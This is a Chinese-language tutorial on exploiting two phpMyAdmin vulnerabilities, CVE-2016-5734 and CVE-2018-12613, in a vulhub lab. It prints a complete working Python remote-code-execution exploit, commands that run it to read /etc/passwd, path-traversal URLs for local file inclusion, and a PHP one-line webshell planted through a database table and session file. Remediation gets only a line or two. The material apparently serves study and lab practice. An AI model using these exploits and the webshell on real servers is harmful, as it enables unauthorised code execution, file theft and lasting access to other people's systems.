phpmyadmin-相關漏洞詳解


Phpmyadmin

phpMyAdmin 是一個以PHP為基礎,以Web方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。

優勢:web端,便於遠端管理MySQL數據庫,方便的建立、修改、刪除數據庫及資料表。


phpmyadmin遠程代碼執行漏洞(CVE-2016-5734)

漏洞原理:
  1. 首先了解一下php中的preg_replace函數

    #Php中的 preg_replace 函數 該函數是執行一個正則表達式並實現字符串的搜索與替換。
    #例:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
    該函數的返回值:當$subject為一數組的情況下返回一個數組,其余情況返回字符串。
    匹配成功則將替換后的subject被返回,不成功則返回沒有改變的subject,發生語法錯誤等,返回NULL。
    
    參數說明:
    $pattern: 要搜索的模式,可以是字符串或一個字符串數組。反斜杠定界符盡量不要使用,而是使用 # 或者 ~
    $replacement: 用於替換的字符串或字符串數組。
    $subject: 要搜索替換的目標字符串或字符串數組。
    $limit: 可選,對於每個模式用於每個 subject 字符串的最大可替換次數。默認是-1(無限制)。
    $count: 可選,為替換執行的次數。
    

    因為preg_replace函數中的$pattern部分指定的是要搜索的模式字符串,一般是正則表達式,而正則表達式中存在修正符。

    但是其中一個修正符 “/e”;在替換字符串中對逆向引用作正常的替換,將其作為 PHP 代碼求值,並用其結果來替換所搜索的字符串。

    49

    可以看到,使用/e修正符的同時在 Subject 中成功匹配,replacement部分被當作php 代碼執行。
    這個函數是CTF代碼審計中的常客;

影響版本:

phpmyadmin4.3.0-4.6.2

漏洞poc
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
操作環境:

kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2016-5734漏洞環境

攻擊機:物理機

操作
  1. 開啟相關漏洞環境(docker容器相關操作 不做贅述)

  2. 訪問漏洞端口,漏洞搭建成功會看到一下phpmyadmin登錄界面

    http://192.168.73.131:8080/

  3. 攻擊機執行poc腳本,遠程代碼執行

    phpmyadmin默認賬戶、密碼為:root、root

    參數:
    #-c 指定PHP 代碼執行(這里未指定使用代碼中默認的system(‘uname -a’))
    #-d 指定數據庫名
    #-t 指定用戶所創建的表名(這里未指定使用代碼中默認的)
    結果顯示:result的那一行
    
    python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('id')"
    

    python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('cat /etc/passwd')"
    

    python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('uname -a')"
    

修復建議

及時更新版本,Php 5.0 版本以上的將 preg_replace 的 /e修飾符給廢棄掉了。


CVE-2018-12613 --- 本地文件包含漏洞(可導致遠程代碼執行)

漏洞原理:
  1. 當服務器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,造成文件被解析。此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。

  2. 在index.php第61行中,開啟了include選項

    這里的target可以直接傳值輸入,我們可以傳入一個本地文件路徑去讓其包含,就會造成LFI漏洞。

影響版本:
  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1
POC
1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

2. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
漏洞環境:

kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2018-12613漏洞環境

攻擊機:物理機

操作:
驗證文件包含漏洞:

訪問poc,讀取了/etc/passwd文件內容,存在漏洞

http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

利用session文件遠程代碼執行
  1. 開啟漏洞環境(vulhub漏洞靶場開啟,略)

  2. 訪問漏洞端口 192.168.73.131:8080

  3. 執行數據庫查詢語句,內容為php命令

    SELECT '<?=phpinfo()?>';
    

    其會在默認路勁tmp文件夾臨時生成session文件,名稱為sess_sessioin值。並且會將查詢語句寫入進去。

  4. 利用index頁面的文件包含,執行payload

    http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
    

利用數據庫寫入shell,利用文件包含執行shell
  1. 把WebShell當做數據表的字段值是可以完美的寫入到數據庫文件當中的,在test數據庫新建一個數據表,字段為一句話木馬。

    <?php @eval($_GET['s']);?>
    

  2. 通過查詢語句,生成session文件進行文件包含解析shell

  3. 蟻劍連接shell,因為是靶場的緣故,數據為空。理論上真實環境應該可以,只是權限不高

修復建議
  1. 更新版本
參考文檔

https://blog.csdn.net/qq_34444097/article/details/85264686


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM